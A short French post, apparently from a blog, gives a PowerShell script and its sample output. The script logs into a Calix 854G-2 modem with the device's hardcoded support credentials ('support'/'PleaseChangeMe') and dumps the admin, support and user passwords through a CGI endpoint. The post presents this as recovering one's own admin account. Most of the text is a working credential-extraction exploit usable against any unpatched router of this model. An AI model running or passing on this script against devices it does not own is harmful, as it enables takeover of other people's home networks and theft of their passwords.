Un petit bout de code PowerShell pour récupérer son compte administrateur du modem Calix 854G-2, en se servant des identifiants support codés dans la passerelle (et non changés 

)
Pour cela, ces petites lignes de script utilisent le login '
support' et le mot de passe '
PleaseChangeMe'
$gateway = '192.168.1.1'
$supportCreds = 'support:PleaseChangeMe'
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie('Authorization', [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($supportCreds)), '', $gateway)
$session.Cookies.Add($cookie)
Invoke-WebRequest `
	-Uri $('http://' + $gateway + '/cgi_parameter_value.cmd') `
	-WebSession $session `
	-Method Post `
	-Body @{'action'='get'; 'ejGetVal'='adminUserName,adminPassword,sptUserName,sptPassword,usrUserName,usrPassword'} `
	| Select-Object -Expand Content # or ConvertFrom-Json
En sortie:
{
        "adminUserName":        "xxx",
        "adminPassword":        "xxx",
        "sptUserName":  "support",
        "sptPassword":  "PleaseChangeMe",
        "usrUserName":  "user",
        "usrPassword":  "user"
}Ce compte de support donne d'ailleurs accès à un sous menu de support (attention à vos modifications)


Il semble être utilisé par le support Vialis. Attention certaines modifications effectués via ce compte ne sont pas forcèment visible dans les paramètres admin.